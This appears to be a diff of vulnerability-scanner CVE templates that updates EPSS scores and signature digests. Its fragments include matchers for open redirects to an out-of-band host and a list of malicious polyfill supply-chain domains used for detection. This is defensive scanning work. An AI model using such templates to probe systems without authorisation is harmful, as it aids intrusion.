           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100ba8e6c12e8ec5e4ae3e0801b7390b711631dfb574d037999d5c90c8eced666fc022100e66a617a1ec1e10cec9119814077b2b790c3dba13e2a9264c4cf9500d2db53f8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cd3bb9d459bd2c4ec3c0db814de6aa0eb197d97de6d7ad3ad836e92cbbb3f8d502202d7302d9d203b658655f8dd7a6d89d0098bc8346dab94037c444bed31798e92a:922c64590222798bb761d5b6d8e72950

headless/cves/2018/CVE-2018-25031.yaml

@@ -54,4 +54,4 @@ headless:
         words:
           - "swagger"
         case-insensitive: true
-# digest: 4b0a0048304602210092addecbe0999e8ac7566a8b688cfbd6a662f6480b8b8aab4c4dc0b19656a67e022100d627e696252fbcffe4f777cb7bcb58f4a7b501b34222468a4025204389672d21:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022005b4a5a79b3f973151dbb3802f919c82686117e8edfea85afff202b41656032c022100aa6200024fa06cfc357f2349f858d35952f5faafe4d1a1147bb0c88d00c94689:922c64590222798bb761d5b6d8e72950

headless/cves/2022/CVE-2022-29455-headless.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2022-29455
     cwe-id: CWE-79
     epss-score: 0.69544
-    epss-percentile: 0.98579
+    epss-percentile: 0.9858
     cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -52,4 +52,4 @@ headless:
         words:
           - "elementor"
         case-insensitive: true
-# digest: 4a0a00473045022034041612068bb6cc23a19b360e6acbd244a6a4058cf1d36cd8222f5a2f1b503f02210080b9f278c949817375c1590c7732a2e556d93e25ea1090cd9a519b1c90a90a62:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f22a52ac0d0b95ab9ac440f232a61b7557b6f0a93852b715cdbc192ae69546bf022004299197b47f78e9375c421e4276bdd47081133ac8c8bcd83807ddeb0d736833:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-29882.yaml

@@ -15,7 +15,7 @@ info:
     cve-id: CVE-2024-29882
     cwe-id: CWE-79
     epss-score: 0.02716
-    epss-percentile: 0.85401
+    epss-percentile: 0.8541
   metadata:
     verified: true
     max-request: 1
@@ -46,4 +46,4 @@ headless:
           - "ConnectSRS</a>"
         condition: or
         case-insensitive: true
-# digest: 490a004630440220558a089dc181f6ec5760dd0ce307114bfa92ee5a5c1016d5bee66631a891b03402203e32c3102bf24d9b61500ae2f19afe47da572f008de06db6a8a6a53e462a9703:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206655f02aeec984b381b710ea1a2620606ce47098a084c3fd71353e872304af7e02203647a412541a17ead0af483882725b00cc488b52151189736d5a5f33db696c16:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-38526.yaml

@@ -20,8 +20,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
     cvss-score: 7.2
     cve-id: CVE-2024-38526
-    epss-score: 0.79167
-    epss-percentile: 0.99018
+    epss-score: 0.82064
+    epss-percentile: 0.99156
   tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
   - steps:
@@ -60,4 +60,4 @@ headless:
           - "union.macoms.la"
           - "newcrbpc.com"
         part: urls
-# digest: 4a0a00473045022100b931374196adc17b46064f13d99af21f0b4d196d6d98ef8a0f6399a13814b18a02200e531edd5973acf6e0487bf3875e44a0680ca471226aed577a872ea97374088f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009817d6a9d65b634a4e224902dd8b44e957148f52219693a531d67d388e478b0002206948bdb80b1f005cc95ef69b09fe42ce4df874c3af898fdf5f188f7c2a629b26:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-24752.yaml

@@ -11,8 +11,8 @@ info:
     - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
     - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
   classification:
-    epss-score: 0.03198
-    epss-percentile: 0.86487
+    epss-score: 0.03281
+    epss-percentile: 0.86692
   metadata:
     verified: true
     max-request: 1
@@ -42,4 +42,4 @@ headless:
         words:
           - "{{random_int}}"
         case-insensitive: true
-# digest: 4a0a004730450220620f3dc941df3e688c304ad234066a1d8a87fc2b1fa1a04ef9850f24e613510e022100b00c68736b6f7bac99a0677c564247d90e688024cc08909d957a4fc6c55309c1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220010e1d86b6a985033f65b6c6a8d7d9ec8e019113ca16bbcc67704611e99b0572022100eb4836b0a39a4750b922b9b1ffef097d738492732756f0da1679a73a3301841f:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-25062.yaml

@@ -17,7 +17,7 @@ info:
     cve-id: CVE-2025-25062
     cwe-id: CWE-79
     epss-score: 0.34064
-    epss-percentile: 0.96767
+    epss-percentile: 0.96777
     cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
   metadata:
     max-request: 7
@@ -186,4 +186,4 @@ headless:
         dsl:
           - reflected_text_xss_type
           - reflected_text_xss_message
-# digest: 4a0a00473045022100a17efb62fee55c45342f1aca08abe8984f346f12eae5f7bf59b14f8a31240df0022006f396de2e67edbc06c2fcbbd24ba3de7ad0df3e39ea1e26656466e8717c348d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009069c9ba70be9a6eb15a5e4e24c49b818c68b98ec32a9f2049d03f76fd5d08fe022100de30f1815f0674ee5764e873fa8cbd8b660f07f6ecf37a35238f0ea7f352299c:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-29927-HEADLESS.yaml

@@ -16,7 +16,7 @@ info:
     cve-id: CVE-2025-29927
     cwe-id: CWE-285
     epss-score: 0.9253
-    epss-percentile: 0.99722
+    epss-percentile: 0.99723
   metadata:
     vendor: vercel
     product: Next.js
@@ -55,4 +55,4 @@ headless:
           - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
           - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
         condition: or
-# digest: 4a0a00473045022100af9785bc77b70ef5e8fe304f65b6827a469b6897d09860a8cbafe4ef5b4098ab02204b88dc3575deadacfc2e3f730e88fc5cd6f6286be4be01bdaedeafafa4d21b23:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210086a9e7d22dc13eb9e4ac7f015695d548e8d71b13bbc17a2d082659c29a4281ec022020d69b47547f7adb597b8f868ef1d7ecf7dfc0985d601e009db3a71f07fed6d0:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-8191.yaml

@@ -14,8 +14,8 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2025-8191
     cwe-id: CWE-79
-    epss-score: 0.0123
-    epss-percentile: 0.78509
+    epss-score: 0.01057
+    epss-percentile: 0.76925
     cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -65,4 +65,4 @@ headless:
         words:
           - "swagger"
         case-insensitive: true
-# digest: 4a0a00473045022100bf467b92bb54a513c07a7dd2aa60c60f41c1addbed2fc05dca493900e01bcaed02202a8a76331e4af40e5f08916dbd0bb736cade93edc26639886155adeb880bf8b9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d99c7317d03e715cae53994e938f21295769cdd3fbc42f2c67d538e2c15aae67022100d7f1e39f297b3b8bf9c71c96b56a66df1609f15ab8c849e49cb282757cda8e92:922c64590222798bb761d5b6d8e72950

http/cves/2000/CVE-2000-0114.yaml

@@ -16,7 +16,7 @@ info:
     cvss-score: 5.3
     cve-id: CVE-2000-0114
     epss-score: 0.05458
-    epss-percentile: 0.8973
+    epss-percentile: 0.89743
     cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -59,4 +59,4 @@ http:
         group: 1
         regex:
           - 'version:([0-9.]+)'
-# digest: 490a0046304402205332a03942b696ffdaf4514030f433335731ac7445fcfa0a9131c17cb83b687202207e6fc2c1d794e984243e5f602ea871821d372de93b4374a49b3b3a80ae77428b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008484a708fd4d3067c352c2c67509ef3b27ec12910eebffe1ec356da8cfdd56b4022100874c5d49d4a2ee0671fb034cd9dada3bb1543c455085258162bb87d868b1d650:922c64590222798bb761d5b6d8e72950

http/cves/2000/CVE-2000-0760.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
     cvss-score: 6.4
     cve-id: CVE-2000-0760
-    epss-score: 0.65623
-    epss-percentile: 0.98413
+    epss-score: 0.33581
+    epss-percentile: 0.96736
     cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -55,4 +55,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502205ce0b599e4c517935b356826b8b065ac225bdde1d74ff84196e6f529739a4292022100aa157c5a6531f56de77d8a205e3fce64dd0c3e50bc42f6b93daee89acab80545:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b9aeb0509a59df08e57ed34358daacec550b198785ebe5223b447ab887fa777302205670ae173e74e05c0da531098f6122c807d7d9c4925e27645cb678ccef7263bd:922c64590222798bb761d5b6d8e72950

http/cves/2001/CVE-2001-0537.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2001-0537
     cwe-id: CWE-287
     epss-score: 0.93696
-    epss-percentile: 0.99833
+    epss-percentile: 0.99835
     cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -53,4 +53,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502204cb765e57d2253f0d95e309e3caf15a5463c5124f5c2ab2d4aacc694575b8ca6022100e20e658418ff17b3f354b65fc2a03db3f81d7a3cd9be8f582cc7e896e5853e31:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207ff0ffe9bb97fae36466f7d15bca01fa512bd3706a808715e6f2d41d49647cc902210092c987ae4e1efb1a006f7f36bfd1572bb03bb710563669df3e787ad43cdadfda:922c64590222798bb761d5b6d8e72950

http/cves/2002/CVE-2002-1131.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2002-1131
     cwe-id: CWE-80
     epss-score: 0.03877
-    epss-percentile: 0.87736
+    epss-percentile: 0.87744
     cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
   metadata:
     max-request: 5
@@ -60,4 +60,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450221009dafa7d7a8dffea049773b86bb1bbab11544ca0004bcb9b849683c76c8e2485a02200b0f46c61ce9c0cb51b9c95b6df330fc5ce87295ad1df784bc9f4235474320ac:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009f0639d039fe5e778b52cf8395ac3e07f8d580540132cda9c84e70e3686e9117022100a21de5317dbdac6c61330c7b6ece04e105f3aff20be2de67636499b3fdecc065:922c64590222798bb761d5b6d8e72950

http/cves/2004/CVE-2004-0519.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2004-0519
     cwe-id: NVD-CWE-Other
     epss-score: 0.00124
-    epss-percentile: 0.32339
+    epss-percentile: 0.32318
     cpe: cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220482f005db704fd496f0e04fdc5d6a657b64028a787c62478aab7bd17dda4d0ec022100a9f5e846faf7569e3b54f6039cf126a36df1bb35625535b66ec3afb5617340c5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203ee3c939d6991ae14ea05effa05be229151ec3cf7a2032a38493bd0d4d54f2740221009f56cc5ae26fc2e7f311fbcd8c0ccf64e1b3f0965f25bbecccf7f2bf91a8b068:922c64590222798bb761d5b6d8e72950

http/cves/2004/CVE-2004-1965.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2004-1965
     cwe-id: NVD-CWE-Other
     epss-score: 0.00265
-    epss-percentile: 0.49806
+    epss-percentile: 0.49801
     cpe: cpe:2.3:a:openbb:openbb:1.0.0_beta1:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -40,4 +40,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 490a0046304402206c46055e57092ee031148672031d0e22b49272e5a0857ad53ad2e466153ad9950220799ce49158105f62ff4e3014ebde77ffd93d2e6f867c026fc1374b547807da6a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022002d5729e085998500ade619b9b98313512d618bee87f18c18a93827f28cf2c9f022073e3601afa070fe62a6276bc2250ee1d10220578ae49219ac869fd6abdb4a2c4:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-2428.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 5
     cve-id: CVE-2005-2428
     cwe-id: CWE-200
-    epss-score: 0.06321
-    epss-percentile: 0.90538
+    epss-score: 0.08605
+    epss-percentile: 0.92047
     cpe: cpe:2.3:a:ibm:lotus_domino:5.0:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -44,4 +44,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100e27b5564c1ce0432367fef28996116fdfed26910e63a54119ca94bc05da9d5820221008de003eec4ec0a8dd72263eaf0baba52b74b655528d8970c724fad9ac84af23b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f77272eb565acfdbdd0e5cfef25c4eb95694fbe673bfdefc5c7695e75c4e445e022100e2e975cb3292c1426e24fdbfab48e12401f5406920124f91dac5378bb452473c:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-3128.yaml

@@ -13,7 +13,7 @@ info:
     cvss-score: 5.4
     cve-id: CVE-2005-3128
     epss-score: 0.01733
-    epss-percentile: 0.81832
+    epss-percentile: 0.81866
     cwe-id: CWE-80
   metadata:
     max-request: 1
@@ -40,4 +40,4 @@ http:
         part: header
         words:
           - "text/html"
-# digest: 4a0a0047304502205afe95746bc2a44a6192867c14a26fa883d19454a3323a564477a56ecd6e309f022100c6dad1a5f54df0f542edae68dd1a3d64a4075360fb0ba50c49078aa5a931ae66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ff643fa1988f0c8e2189c210be292efc81b3bd8d0b8c4d24c3c6642da543db702210088f09307d1d1a8643bf65284e85a2b5ea0daf2f38305a3fd8d3bd2f8606e107c:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-3344.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2005-3344
     cwe-id: NVD-CWE-Other
     epss-score: 0.1015
-    epss-percentile: 0.92777
+    epss-percentile: 0.92793
     cpe: cpe:2.3:a:horde:horde:3.0.4:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -47,4 +47,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022069103c3ec6f0b5a4782b752580b541c494e6b687ccd290707d59cf3fd8506466022100953d7f3ec676dfcbb248c252e23aeb7ba6a4e0cee7f7b364ecde1719f69e7d51:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100810911451936fc7925f16ac33ecde0896b49397889396920c0e95ea789889c45022100d80130ad60b3648bae140c41fbe17cbdb3f54e49f097065b5ba93fbe413b0a15:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-3634.yaml

@@ -23,7 +23,7 @@ info:
     cve-id: CVE-2005-3634
     cwe-id: NVD-CWE-Other
     epss-score: 0.01653
-    epss-percentile: 0.81406
+    epss-percentile: 0.8144
     cpe: cpe:2.3:a:sap:sap_web_application_server:6.10:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -45,4 +45,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 490a0046304402207726228cd9e49dd00ff836be3fa993d42520855df4c6f681ea14de91dae929fd02207519f13c615ae1b06c303012ad6a9870ac907371e261fd0c50d088a9830f76f2:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a8de2e4a5ad7dea904f149ee0d67b8ce70c2703e7155babd0a646ba3b909f619022100fe029d63ced0ff7f5859e316dfeb315ba2be65bd5d2e7d2627f15426b440aed2:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-4385.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2005-4385
     cwe-id: NVD-CWE-Other
     epss-score: 0.00373
-    epss-percentile: 0.58266
+    epss-percentile: 0.58269
     cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100f86f9b46831b1c7f323168fda14e3907af8e723ea601697be19dd06af30a740902200104575dbb4b8138f97e00a0228ffd9a3b66efaccdba58c87a89256d55bafcd9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa6f650e3d47a977f41ff5cebeb334d9bf3d0c0e3eeb189314d184219ead2d26022100d3d17b14b5dc4c9faed623c08844452c6c6c6668971480b9c6e61d36c981ef99:922c64590222798bb761d5b6d8e72950

http/cves/2006/CVE-2006-1681.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2006-1681
     cwe-id: NVD-CWE-Other
     epss-score: 0.00299
-    epss-percentile: 0.52759
+    epss-percentile: 0.52773
     cpe: cpe:2.3:a:cherokee:cherokee_httpd:0.1:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -62,4 +62,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220062e8d719f08e84a250949357d925976fe5b07e77eacf1573945d251933effe90221008b1630fc674b9060b4fcf210f55349c253d1df35de9a83a31c3247257bcf21ca:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022031f4a0d40faf30648f84447f934d5cdb891d4e864795934f59726bfa9e573a11022100b10577fa58541f353e16e51dfefab7385f474b54900a155b2babdfc1b9251bf9:922c64590222798bb761d5b6d8e72950

http/cves/2006/CVE-2006-2842.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2006-2842
     cwe-id: CWE-22
     epss-score: 0.0094
-    epss-percentile: 0.7546
+    epss-percentile: 0.75478
     cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100c2256d78915d25d4df1e0d25e028d15520fe12f70247fa5b1d4e9042b77f43c0022100a96fd7c141b6a40abaeb7a77962424e653b9c4c1e3760d3adabed6209e3b04af:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008cfc5432654fb51a39f965efc8ff12f9061afca3e9822682e4e85c561885d9180220040818e65f8866786f1a38d5ddf7b8792ab802e28b69a290efea139eae2312d2:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-0885.yaml

@@ -17,7 +17,7 @@ info:
     cve-id: CVE-2007-0885
     cwe-id: NVD-CWE-Other
     epss-score: 0.02133
-    epss-percentile: 0.83599
+    epss-percentile: 0.83619
     cpe: cpe:2.3:a:rainbow_portal:rainbow.zen:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -44,4 +44,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100eda14ccf8eeaaaf8029c97bf324dca7df1aa289f71825ee667a5e4508f98e3af0220546cbe42bab6ab502d562e0fb84906334df35aca519cfb9e0da612e58f684709:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a11a707b73a29c58a517b9085c4754dfe1790ac3ef2f3e85d89409a3ee37d280022100e9d487ce35d8a650ca90f0f3cd006177b094852ec79e2f69854b1d3139d0634a:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-2449.yaml

@@ -14,7 +14,7 @@ info:
     cvss-score: 7.2
     cwe-id: CWE-79
     epss-score: 0.82646
-    epss-percentile: 0.99186
+    epss-percentile: 0.99184
   metadata:
     max-request: 1
     verified: true
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d49e6b4103625a0f23f4aa0615bc422dc87fdcb9f3b6c09b6c2b38d7a00b3461022100bc4a6c1947a3935fc76fd745e7d1ed1f1cc1a4f27c7dc12159b9dcc336a65a7e:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022034911a6e934ba7bca94b5503e4846d9c12b618bcbc10c5b1ba4c023dae965c84022013d64fa600e7599a220a03d549b7c44dd109fdc0ccd82494e01f73d539bd8064:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-4504.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 5
     cve-id: CVE-2007-4504
     cwe-id: CWE-22
-    epss-score: 0.0006
-    epss-percentile: 0.18655
+    epss-score: 0.00177
+    epss-percentile: 0.39602
     cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100a632fbd89ee7d7168b84c7a8351cb260c3be99daa440dca4d93607d2e2e92682022010d8370dadd0bedd78f49f13c84874587afe8e1191cecfe5d3952b173de2df09:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022022721fe54d8e4c9eb0d072273e2dc449d7deacbc6d3bf962833dd8574da14814022100ba9982e612fae996b96a2be995fb5927884d862a1a82b71a5513f81e6cbb5794:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-4556.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2007-4556
     cwe-id: NVD-CWE-Other
     epss-score: 0.02359
-    epss-percentile: 0.84375
+    epss-percentile: 0.84388
     cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -51,4 +51,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220681e3e030dae241ae87fc985bcbbc0bda37e25945ee039dce2932c0279e9ae6902210093d3e554bbe06521fabf8cc5cefb9e8bb6644fc79769a5cb835fad89a8348e15:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ca7793b14a1134fcd34db8e8e619a7e634723817391603bb694b7ebe5636680c022100e396cf3ac4c9818c7c3fa09d4ff3369c35f79e5666217cfaa155555689cdb3b5:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-5728.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2007-5728
     cwe-id: CWE-79
     epss-score: 0.00488
-    epss-percentile: 0.64598
+    epss-percentile: 0.64626
     cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -57,4 +57,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100be9d734739e44ad53d0b091b97e512e640fda1e67c535820f98f8723a21e6f6302206bd8b0cdd90a0807cd8e869f2192e57a6d6a70d126f59ca474a1c0e7b0c00eed:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022018b96086ae0d21c16386bd315b957e6b4ae1525fd25026f93efbb34043e99af0022100b305c920de75eb65b5a6ed80cc16657b057d1e0e3d44bfd3cab71dec148381ee:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-1059.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2008-1059
     cwe-id: CWE-94
     epss-score: 0.00265
-    epss-percentile: 0.49829
+    epss-percentile: 0.49823
     cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -47,4 +47,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d0caca73172cb00699df02ab0255d6bb20bb48cf44e51006f86ff2440523f783022100dbfe50ad7ad767fcf4ec516ba133fbe911f95a4e6f568389c3ed2499a3734ea7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207fecd921729824c1e293ab02e9fdbd0ae4ee0be5160a28be27bf092ee071c209022100989a408ad4688052deaea9c4687ee33b961964b24bbb2cabe3836b5562278635:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-1061.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2008-1061
     cwe-id: CWE-79
     epss-score: 0.00155
-    epss-percentile: 0.36788
+    epss-percentile: 0.36791
     cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -62,4 +62,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202d74bbb178b65b8d4d1c670fdb6ccb0368f61303f47995ecc3317e2cad75316b022100eb29d9070b1a7e33dd63756ff0a3fc4f88d7cd434da57289b9b9860b3af1a748:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008dd5a19d202d0e6eb6ad8ef57c566e3e1ac6c30063ac6d2418353abc82f9a0c4022100f38f830d1feb94cbc4f299922d70f1a4d69999375a9720203fc59951a18004ad:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-1547.yaml

@@ -51,4 +51,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
-# digest: 4a0a0047304502205f796732a5355990b3abba6f7d86afd5da7b38c87e122344e56f3df1ea81d3ff022100d06446bd84b9a9875c9a043e5b9bdb7d7f18e936eb082127fe58209450dd621f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210091e5cc6baa9195405445ea72702f54bba30299008d12e2ee61524ac8c1354f6402202b5b5192b6419550e8b20733d34e919c7154fe661e88e1778bd4ccbad799d27b:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-2398.yaml

@@ -19,7 +19,7 @@ info:
     cve-id: CVE-2008-2398
     cwe-id: CWE-79
     epss-score: 0.00437
-    epss-percentile: 0.62251
+    epss-percentile: 0.62297
     cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -47,4 +47,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100dbb4edac2211a6f44c91611514b36fd0c8a5cd62275248b63ac032f941586a0e022100ecad4b52469a21900bb07fd05e241016c9a309b50000c842e50380ad4bebc920:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200e6095a09725c9e6284072bcbd8ba75340cfc11e7478315a2a0c02db6d3a65a9022100ea475be984826b137ccb12bf6d8107f59af63164aa48ad5d4ca8e7ff3fa05537:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-2650.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2008-2650
     cwe-id: CWE-22
     epss-score: 0.01643
-    epss-percentile: 0.81341
+    epss-percentile: 0.81377
     cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100cec0e71f86555acb50c217e41def09899827c0f6864abac2fcfb1dcd6f1c84e9022100f91a1a004065ef2b4309bc9fd8ae4b6ceae074c508e1f352ea0de141deab0c25:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022040a78e1e5dfb7d26482d88d459e3bb49fd0e849d7080ce94df4cf9dda05033a60220750fd715b94ebd2b3ea024d78b82df6be1550b378570ed8f4342827626bbab1d:922c64590222798bb761d5b6d8e72950